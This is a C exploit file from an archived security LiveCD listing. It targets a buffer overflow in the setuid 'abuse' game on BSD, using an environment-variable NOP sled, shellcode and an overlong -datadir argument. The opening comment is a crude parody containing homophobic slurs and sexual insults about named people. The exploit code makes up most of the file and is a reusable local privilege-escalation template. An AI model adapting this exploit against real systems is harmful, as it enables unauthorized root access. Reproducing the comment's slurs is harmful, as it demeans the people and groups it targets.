home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / abuse / 0x36-assabuse.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  85 lines

  1. /*
  2.     hey all.. this is a l33t 0x36 0day exploit by Matrix_DK :)
  3.     This should give root, i give root to by the way, 
  4.     on all BSD systems with abuse installed.
  5.     -r-xr-xr-x    1    root    wheel    675344 Jun 18 13:37
  6.     hi hi owned by root group wheel.. this is a hacker goodie
  7.  
  8.     I hoped abuse was my favorite game assabuse portet to unix..
  9.     so i tried to load pics of my boyfriend johnlw ass into the game
  10.     using -datadir... but the program died???
  11.  
  12.     could this be exploitet???
  13.     
  14.     i tried to exploit this myself, but i have no skillz. So i 
  15.     asked the other gays from 0x36, but there did not know how
  16.     to do this hardcore command line overflows.
  17.     I asked inv, but he told me to go ass fuck casto... inv is l33t
  18.     he knows many exploit tricks.. he is my hero..
  19.     
  20.     So i had to steal some code from 
  21.     'smashing the stack for fun and profit' to get it to work...
  22.     but now i have become a hacker i am going to send out many 
  23.     advisories so other people know im a hacker.. and one day maybe if 
  24.     i am lucky i can send out some exploits to.. but i have to get some
  25.     unix, debug and code skillz first... 
  26.  
  27.     i have made the shellcode myself.. look how l33t it is, it prints 
  28.     'what is the matrix ?' :).. that is cool.. us real hackers love the 
  29.     matrix, we jerk off to trinity in slow motion, and use nicks from 
  30.     the movie.
  31.     
  32. */
  33.  
  34.  
  35. #include <stdlib.h>
  36.  
  37. #define DEFAULT_BUFFER_SIZE            350
  38. #define DEFAULT_EGG_SIZE               2048
  39. #define NOP                            0x90
  40.  
  41. char shellcode[] = "\x31\xc0\x50\x68\x69\x78\x20\x3f\x68\x6d"
  42.            "\x61\x74\x72\x68\x74\x68\x65\x20\x68\x20"
  43.            "\x69\x73\x20\x68\x77\x68\x61\x74\x89\xe3"
  44.            "\x6a\x14\x53\x50\x50\xb0\x04\xcd\x80\x31"
  45.            "\xc0\xb0\x01\xcd\x80";
  46.     
  47. unsigned long get_esp(void) {
  48.     __asm__("movl %esp,%eax");
  49. }
  50.  
  51. int main() {
  52. char *buff, *ptr, *egg;
  53. long *addr_ptr, addr;
  54. int bsize=DEFAULT_BUFFER_SIZE;
  55. int i, eggsize=DEFAULT_EGG_SIZE;
  56.  
  57. addr = get_esp();
  58.  
  59. buff = malloc(bsize);
  60. egg = malloc(eggsize);
  61.  
  62. ptr = buff;
  63.  
  64. addr_ptr = (long *) ptr;
  65. for (i = 0; i < bsize; i+=4)
  66. *(addr_ptr++) = addr;
  67.                                                              
  68. ptr = egg;
  69. for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
  70.     *(ptr++) = NOP;
  71.                                                                      
  72. for (i = 0; i < strlen(shellcode); i++)
  73.     *(ptr++) = shellcode[i];
  74.                                                                            
  75. buff[bsize - 1] = '\0';
  76. egg[eggsize - 1] = '\0';
  77.                                                                                
  78. memcpy(egg,"EGG=",4);
  79. putenv(egg);
  80. memcpy(buff,"RET=",4);
  81. putenv(buff);
  82. system("/usr/local/bin/abuse.sdl -datadir $RET");
  83.  
  84. }
  85.